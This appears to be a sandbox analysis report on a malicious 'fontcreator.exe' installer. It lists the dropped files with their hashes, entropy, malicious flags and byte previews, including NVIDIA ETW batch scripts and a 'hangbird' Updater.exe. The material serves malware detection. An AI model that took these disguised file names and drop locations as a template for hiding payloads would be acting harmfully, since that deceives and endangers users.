MD5:	BA6DFB6F8E350F05B34E97098766A59F
SHA1:	45FD6CF90130123B24431892E61DD2AFFECCA8C5
SHA-256:	75263FC3534A3162B9E44E353B3C2379169787286DF7B65CB4ADC3D8BFBD533C
SHA-512:	ABC703996A2947F36DC393B896FB7D7A3A0630F4CCEC6FF8F5077519B4FDC4A6464222EB653A5AF5B93D03E7BCCD728EB32D0F863532FE00E140B4904CFBB65F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R...R...R.....R...P...R.Rich..R.PE..d......[.........." .........................................................@............`.......................................................... ..................(&...........................................................................................rdata..p...........................@..@.rsrc........ ......................@..@.......[........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\ddETWExternal.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	11436
Entropy (8bit):	3.5736297585775354
Encrypted:	false
SSDEEP:	96:HEwXjhdOxPUjRPUEvwG5yNq1U6W1ppHrVGtGlGd0pi+o/m/vUjWqkB4BVWeW8vT6:65UjZUhNq1U6mPM+
MD5:	A39215CF85D8B4140CF4ED3E215F87C4
SHA1:	8E6B89FB938F847C02DACF8E767C671D2218727C
SHA-256:	7AA7F8194A0FE5B2A713A610F7C3A22C74E82BFFDB7B13582BC97A8ED23389B7
SHA-512:	2D596634403F5A564314C6CC5D1E6F5A1CE0E9DD3B95502D4F64A2B1D42B3404ADC51AC4F97732EF2A3CD773AD96A3375C7D0BBE05F02AFDA6F5848860965717
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s.". .x.m.l.n.s.:.w.i.n.=.".h.t.t.p.:././.m.a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.-.i.n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>.......<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>.........<.e.v.e.n.t.s.>...........<.p.r.o.v.i.d.e.r. .n.a.m.e.=.".N.V.I.D.I.A.

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\htcvive_install.bat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.377817544273163
Encrypted:	false
SSDEEP:	12:MLK3diq6GsFA7iXo0CFi7iA5HSyauf67iyauNtDHxm0DHUvZ90DHUvZcO/B8/M4z:MLKvrsFWyrfwrNcJCM4iY
MD5:	537A7DEEE8B9849D6C5A8552AFD2AAB0
SHA1:	DD8BC220365C62F7BAA47F3993552F16251F1D61
SHA-256:	ADFEABFEAEB1376B3E0FABBFE0C3D76D8A62AFA38D016571357ACA37FF2DDEB6
SHA-512:	FA6CD2D876F0E04267CF6C724AA4F342F81797390EB5F5B136F93BD5FB310681E48902177B53A530C007F29093EA8DFFF79A425B7782CE97D6B16E6FF3AF5B84
Malicious:	false
Preview:	REM Any NVFTDLLXX.dll can be used for installing NvFrapsOpenVR.man....set LIBHTCVIVE_EVENTS_MAN=%CD%\NvFrapsOpenVR.man..set LIBHTCVIVE_PATTERN=NVFTVRDLL*.dll....echo Looking for %LIBHTCVIVE_PATTERN% dll's....for /f "delims=" %%a in ('dir /b /o:d "%LIBHTCVIVE_PATTERN%"') do set LIBHTCVIVE_DLL=%%a....icacls "%LIBHTCVIVE_EVENTS_MAN%" /t /grant Everyone:R..icacls "%CD%\%LIBHTCVIVE_PATTERN%" /t /grant Everyone:R....wevtutil uninstall-manifest "%LIBHTCVIVE_EVENTS_MAN%"..echo wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..REM make sure it worked..wevtutil get-publisher NVFT-ETW-OPENVR > nul..if %errorlevel% neq 0 exit /b 1..echo Installed %LIBHTCVIVE_EVENTS_MAN%

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-5MQTR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1081896
Entropy (8bit):	6.388045515573479
Encrypted:	false
SSDEEP:	12288:2yreuN4w1fUww+h7w1t3rykcmM/SWzWglboG/mTq3fNuPF67HGC5SYCM:DNBZ/gE3mM/SWWsbT/cq3fNuGGC5SYCM
MD5:	4CB4AA663071A4461290D2CC0AB5407E
SHA1:	96BC4504C025F3D9BD11B3D541401D69CF81126D
SHA-256:	3C7E2F14C47388A84F016408668834D9388C294C791296CAE81DA4581DD1FAFC
SHA-512:	88284D66651A7923D92898C3D4105CB69E5F90AD49BE547C94FA9C5254DDCE3A3626234211FBA7ED5400E671AC8B50D52CEF4EF59203511C27A2A39C202CF83D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ti..5...5...5...S...5...S...5...S..05...k...5...k...5...k...5...S...5...S...5...5...4..-k...5..-k...5...5...5..-k...5..Rich.5..........PE..d...8..c.........."................. ..........@.....................................l....`.................................................P...P........d.......~...\..(&......T.......p...................P...(...`................................................text............................... ..`.rdata...b.......d..................@..@.data........0...@..................@....pdata...~...........V..............@..@.didat..x....`......................@....tls.........p......................@....rsrc....d.......f..................@..@.reloc..T............B..............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-7T5A6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	5.522130132708777
Encrypted:	false
SSDEEP:	384:K7JTQ85kJnHzfs6h3L9AaI6waxnjgbSHxIYi5Km0f9NfNL1:geHzfsS3xI6lxjmYicm0VND
MD5:	A1632BF8A030FD810D2B716C39297CC5
SHA1:	FE210E233C3218B2224C83CD1D6A985D7C451A38
SHA-256:	30C2F0FC9C37B8A4AF5FE5A946ECF204BDB10FBFB1728FDAB9B00104DAD5AEAC
SHA-512:	C141C3791698FD1F7174D5F5E2D0E7FC8A50815F37835666AE7404E4B6B62F67F907CA94073364374E8CDC1E72FB1413138AFA5708E95CD6309D647774A8C6A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R.c..R.c.P..R.Rich.R.PE..d...j..c.........." .........@...............................................`............`.......................................................... ...<...........B..(&...........................................................................................rdata..p...........................@..@.rsrc....<... ...>..................@..@....j..c........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...;...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-DEVD7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15400
Entropy (8bit):	6.508481145269509
Encrypted:	false
SSDEEP:	192:pUQl2bzfzEq+1QmZGdIYiYF80CKRZKx7yhDO4NKzYJzkMDxHtFhFYA1FG:mPIjaIYi5Km0hD9NfNzW
MD5:	BA6DFB6F8E350F05B34E97098766A59F
SHA1:	45FD6CF90130123B24431892E61DD2AFFECCA8C5
SHA-256:	75263FC3534A3162B9E44E353B3C2379169787286DF7B65CB4ADC3D8BFBD533C
SHA-512:	ABC703996A2947F36DC393B896FB7D7A3A0630F4CCEC6FF8F5077519B4FDC4A6464222EB653A5AF5B93D03E7BCCD728EB32D0F863532FE00E140B4904CFBB65F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R...R...R.....R...P...R.Rich..R.PE..d......[.........." .........................................................@............`.......................................................... ..................(&...........................................................................................rdata..p...........................@..@.rsrc........ ......................@..@.......[........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-FMCKE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	553
Entropy (8bit):	4.92146093309903
Encrypted:	false
SSDEEP:	12:wKDwg7qQNLX9H/Qv/KO0zdPKiayeR3HO0zdvS/jFNxH8z:w9qqQNLX9HUUdDUd48z
MD5:	3F1A83F12B3540BBFE8DA771A322D201
SHA1:	747639FEB46633B130D3D0BA54DEFD564D460991
SHA-256:	27F6077CAC271727410E23493E3E2A0F84A0B0BED9A36F6BC48A9FA1E35BD155
SHA-512:	B53950268CD058E4450CD443439DDE84A9EC609DE1B10D77270B0442259F875142FDE6DA17843B1EF95FF91BDD45ACF735BBD44E43E6A50467305339B15D41EF
Malicious:	false
Preview:	@echo off..setlocal..REM Run this script from an admininistrator prompt to install NVIDIA ETW tracing....echo Installing NVIDIA Display Driver ETW Manifest manifest.......REM Uninstall existing manifest first..wevtutil.exe uninstall-manifest "ddETWExternal.xml"....REM Copy the ETW resource to system directory..xcopy /y /f ddETWExternal.dll %WINDIR%\System32\....REM Install the new manifest..wevtutil.exe install-manifest "ddETWExternal.xml"....REM Ensure that the provider was installed successfully..wevtutil get-publisher NVIDIA-DD-External > nul..

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-J075V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	11436
Entropy (8bit):	3.5736297585775354
Encrypted:	false
SSDEEP:	96:HEwXjhdOxPUjRPUEvwG5yNq1U6W1ppHrVGtGlGd0pi+o/m/vUjWqkB4BVWeW8vT6:65UjZUhNq1U6mPM+
MD5:	A39215CF85D8B4140CF4ED3E215F87C4
SHA1:	8E6B89FB938F847C02DACF8E767C671D2218727C
SHA-256:	7AA7F8194A0FE5B2A713A610F7C3A22C74E82BFFDB7B13582BC97A8ED23389B7
SHA-512:	2D596634403F5A564314C6CC5D1E6F5A1CE0E9DD3B95502D4F64A2B1D42B3404ADC51AC4F97732EF2A3CD773AD96A3375C7D0BBE05F02AFDA6F5848860965717
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.M.a.n.i.f.e.s.t. .x.s.i.:.s.c.h.e.m.a.L.o.c.a.t.i.o.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s. .e.v.e.n.t.m.a.n...x.s.d.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s.". .x.m.l.n.s.:.w.i.n.=.".h.t.t.p.:././.m.a.n.i.f.e.s.t.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.w.i.n.d.o.w.s./.e.v.e.n.t.s.". .x.m.l.n.s.:.x.s.i.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.-.i.n.s.t.a.n.c.e.". .x.m.l.n.s.:.x.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.2.0.0.1./.X.M.L.S.c.h.e.m.a.". .x.m.l.n.s.:.t.r.a.c.e.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.t.r.a.c.e.".>.......<.i.n.s.t.r.u.m.e.n.t.a.t.i.o.n.>.........<.e.v.e.n.t.s.>...........<.p.r.o.v.i.d.e.r. .n.a.m.e.=.".N.V.I.D.I.A.

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-PT4NM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19387
Entropy (8bit):	4.593621921766137
Encrypted:	false
SSDEEP:	384:LlO4o0Bwx4j7W9RyAKtrlElelyl4lql2lolWlgth0yf1aXgSYC7OcyWod5d7knPS:LtBwq7W9RyAKtrlElelyl4lql2lolWl4
MD5:	990CE7FAE6E9D4DA5B07DA99B8E5C918
SHA1:	571309DF3787B9D80B238E275FC14F6C08581A01
SHA-256:	F52C4DCD61503F74EF1BC7F98CF8BB79963826CCCD35B0EFBFE5E3CAC8D75DD0
SHA-512:	690240495B7D41303D25B60B3DBB668C45C4DD6015F315DB80BA36656EB040A1D59B0D1FEAEC7ECA2AF2FC0C4DBA6BB6504D9B08BBEC40910CFF9EED4294E8DF
Malicious:	false
Preview:	<?xml version="1.0"?>..<instrumentationManifest ...xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd"...xmlns="http://schemas.microsoft.com/win/2004/08/events"...xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:xs="http://www.w3.org/2001/XMLSchema"...xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace"...>...<instrumentation>....<events>.....<provider......name="NVFT-ETW-OPENVR"......guid="{B37F4CA5-5507-42CF-B8C7-BABE280601D2}"......symbol="ETW_PROVIDER_NVFT_OPENVR_GUID"......resourceFileName="NvFrapsOpenVREvents.res"......messageFileName="msg"......>......<maps>.......<valueMap name="APIType">........<map.........message="$(string.Map.Unknown)".........value="0"........./> ........<map.........message="$(string.Map.OGL)".........value="1"........./> ........<map.........message="$(string.Map.VK)".........value="2"........./>........<map.........message="$

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-SFQQ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	5.377817544273163
Encrypted:	false
SSDEEP:	12:MLK3diq6GsFA7iXo0CFi7iA5HSyauf67iyauNtDHxm0DHUvZ90DHUvZcO/B8/M4z:MLKvrsFWyrfwrNcJCM4iY
MD5:	537A7DEEE8B9849D6C5A8552AFD2AAB0
SHA1:	DD8BC220365C62F7BAA47F3993552F16251F1D61
SHA-256:	ADFEABFEAEB1376B3E0FABBFE0C3D76D8A62AFA38D016571357ACA37FF2DDEB6
SHA-512:	FA6CD2D876F0E04267CF6C724AA4F342F81797390EB5F5B136F93BD5FB310681E48902177B53A530C007F29093EA8DFFF79A425B7782CE97D6B16E6FF3AF5B84
Malicious:	false
Preview:	REM Any NVFTDLLXX.dll can be used for installing NvFrapsOpenVR.man....set LIBHTCVIVE_EVENTS_MAN=%CD%\NvFrapsOpenVR.man..set LIBHTCVIVE_PATTERN=NVFTVRDLL*.dll....echo Looking for %LIBHTCVIVE_PATTERN% dll's....for /f "delims=" %%a in ('dir /b /o:d "%LIBHTCVIVE_PATTERN%"') do set LIBHTCVIVE_DLL=%%a....icacls "%LIBHTCVIVE_EVENTS_MAN%" /t /grant Everyone:R..icacls "%CD%\%LIBHTCVIVE_PATTERN%" /t /grant Everyone:R....wevtutil uninstall-manifest "%LIBHTCVIVE_EVENTS_MAN%"..echo wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..wevtutil install-manifest "%LIBHTCVIVE_EVENTS_MAN%" /rf:"%CD%\%LIBHTCVIVE_DLL%" /mf:"%CD%\%LIBHTCVIVE_DLL%"..REM make sure it worked..wevtutil get-publisher NVFT-ETW-OPENVR > nul..if %errorlevel% neq 0 exit /b 1..echo Installed %LIBHTCVIVE_EVENTS_MAN%

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\nvfvsdksvc_x64.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1081896
Entropy (8bit):	6.388045515573479
Encrypted:	false
SSDEEP:	12288:2yreuN4w1fUww+h7w1t3rykcmM/SWzWglboG/mTq3fNuPF67HGC5SYCM:DNBZ/gE3mM/SWWsbT/cq3fNuGGC5SYCM
MD5:	4CB4AA663071A4461290D2CC0AB5407E
SHA1:	96BC4504C025F3D9BD11B3D541401D69CF81126D
SHA-256:	3C7E2F14C47388A84F016408668834D9388C294C791296CAE81DA4581DD1FAFC
SHA-512:	88284D66651A7923D92898C3D4105CB69E5F90AD49BE547C94FA9C5254DDCE3A3626234211FBA7ED5400E671AC8B50D52CEF4EF59203511C27A2A39C202CF83D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ti..5...5...5...S...5...S...5...S..05...k...5...k...5...k...5...S...5...S...5...5...4..-k...5..-k...5...5...5..-k...5..Rich.5..........PE..d...8..c.........."................. ..........@.....................................l....`.................................................P...P........d.......~...\..(&......T.......p...................P...(...`................................................text............................... ..`.rdata...b.......d..................@..@.data........0...@..................@....pdata...~...........V..............@..@.didat..x....`......................@....tls.........p......................@....rsrc....d.......f..................@..@.reloc..T............B..............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\nvinstall.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	553
Entropy (8bit):	4.92146093309903
Encrypted:	false
SSDEEP:	12:wKDwg7qQNLX9H/Qv/KO0zdPKiayeR3HO0zdvS/jFNxH8z:w9qqQNLX9HUUdDUd48z
MD5:	3F1A83F12B3540BBFE8DA771A322D201
SHA1:	747639FEB46633B130D3D0BA54DEFD564D460991
SHA-256:	27F6077CAC271727410E23493E3E2A0F84A0B0BED9A36F6BC48A9FA1E35BD155
SHA-512:	B53950268CD058E4450CD443439DDE84A9EC609DE1B10D77270B0442259F875142FDE6DA17843B1EF95FF91BDD45ACF735BBD44E43E6A50467305339B15D41EF
Malicious:	false
Preview:	@echo off..setlocal..REM Run this script from an admininistrator prompt to install NVIDIA ETW tracing....echo Installing NVIDIA Display Driver ETW Manifest manifest.......REM Uninstall existing manifest first..wevtutil.exe uninstall-manifest "ddETWExternal.xml"....REM Copy the ETW resource to system directory..xcopy /y /f ddETWExternal.dll %WINDIR%\System32\....REM Install the new manifest..wevtutil.exe install-manifest "ddETWExternal.xml"....REM Ensure that the provider was installed successfully..wevtutil get-publisher NVIDIA-DD-External > nul..

C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29472
Entropy (8bit):	7.042110181107409
Encrypted:	false
SSDEEP:	768:BD7FEAbd+EDsIOmF+OiR9rikW/F+M9OAriXiRQU:M07sIOYRiPWkWNl9WXil
MD5:	077CB4461A2767383B317EB0C50F5F13
SHA1:	584E64F1D162398B7F377CE55A6B5740379C4282
SHA-256:	8287D0E287A66EE78537C8D1D98E426562B95C50F569B92CEA9CE36A9FA57E64
SHA-512:	B1FCB0265697561EF497E6A60FCEE99DC5EA0CF02B4010DA9F5ED93BCE88BDFEA6BFE823A017487B8059158464EA29636AAD8E5F9DD1E8B8A1B6EAAAB670E547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(....................4.. ?...@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3366912
Entropy (8bit):	6.530560980862899
Encrypted:	false
SSDEEP:	98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
MD5:	945EC37B9971C5E9F26FAFAD6EDFD46E
SHA1:	35AEEEDFAB069194AA41F64DF0E96780C30837B4
SHA-256:	C2E55AA7241DDE41ED9690BD369E62A49D78AD2662C500509FF88FF8342A487F
SHA-512:	283F3E98DEF0B0F249C5B7CB1D6C0DEB6FE922D3D4A68EDF180E791A96F7C18C678E7B4848B5FB03B6C25038BE9850B815B426674A93EA410C430CB261A3F226
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3366912
Entropy (8bit):	6.530560980862899
Encrypted:	false
SSDEEP:	98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
MD5:	945EC37B9971C5E9F26FAFAD6EDFD46E
SHA1:	35AEEEDFAB069194AA41F64DF0E96780C30837B4
SHA-256:	C2E55AA7241DDE41ED9690BD369E62A49D78AD2662C500509FF88FF8342A487F
SHA-512:	283F3E98DEF0B0F249C5B7CB1D6C0DEB6FE922D3D4A68EDF180E791A96F7C18C678E7B4848B5FB03B6C25038BE9850B815B426674A93EA410C430CB261A3F226
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3366912
Entropy (8bit):	6.530560980862899
Encrypted:	false
SSDEEP:	98304:nJYVM+LtVt3P/KuG2ONG9iqLRQE9333T:2VL/tnHGYiql5F
MD5:	945EC37B9971C5E9F26FAFAD6EDFD46E
SHA1:	35AEEEDFAB069194AA41F64DF0E96780C30837B4
SHA-256:	C2E55AA7241DDE41ED9690BD369E62A49D78AD2662C500509FF88FF8342A487F
SHA-512:	283F3E98DEF0B0F249C5B7CB1D6C0DEB6FE922D3D4A68EDF180E791A96F7C18C678E7B4848B5FB03B6C25038BE9850B815B426674A93EA410C430CB261A3F226
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\hangbird\Updater.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	943784
Entropy (8bit):	6.621472142472864
Encrypted:	false
SSDEEP:	24576:MghN1a6pzWZ12+f+Qa7N4nEIRQ1hOOLkF6av8uh:vhN1aQzJD4BuTxavfh
MD5:	3F58A517F1F4796225137E7659AD2ADB
SHA1:	E264BA0E9987B0AD0812E5DD4DD3075531CFE269
SHA-256:	1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48
SHA-512:	ACF740AAFCE390D06C6A76C84E7AE7C0F721731973AADBE3E57F2EB63241A01303CC6BF11A3F9A88F8BE0237998B5772BDAF569137D63BA3D0F877E7D27FC634
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......hm..,...,...,.....m.......o.......n.......[.-....h..8....h.......h..>...%t..%...%t......,........h..\|....h..-....hc.-...,........h..-...Rich,...........................PE..L...R..Z.........."...............................@.......................................@...@.......@.........................\|....P..h............J.......0.. v.........................../..........@............................................text............................... ..`.rdata..............................@..@.data...4p.......H..................@....rsrc...h....P......................@..@.reloc.. v...0...x..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\hangbird\caliculus.csv (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp
File Type:	data
Category:	dropped
Size (bytes):	62696
Entropy (8bit):	7.997465407479189
Encrypted:	true
SSDEEP:	1536:DRJTbCqFC3mhFOwLah/4qYkDwlAzIbU7BoDwUIi1OgEYgdFGA:1tblFbGwLa2kEloOwwVEYo/
MD5:	025C4F4147CDF2A529ABA92B249A86AA
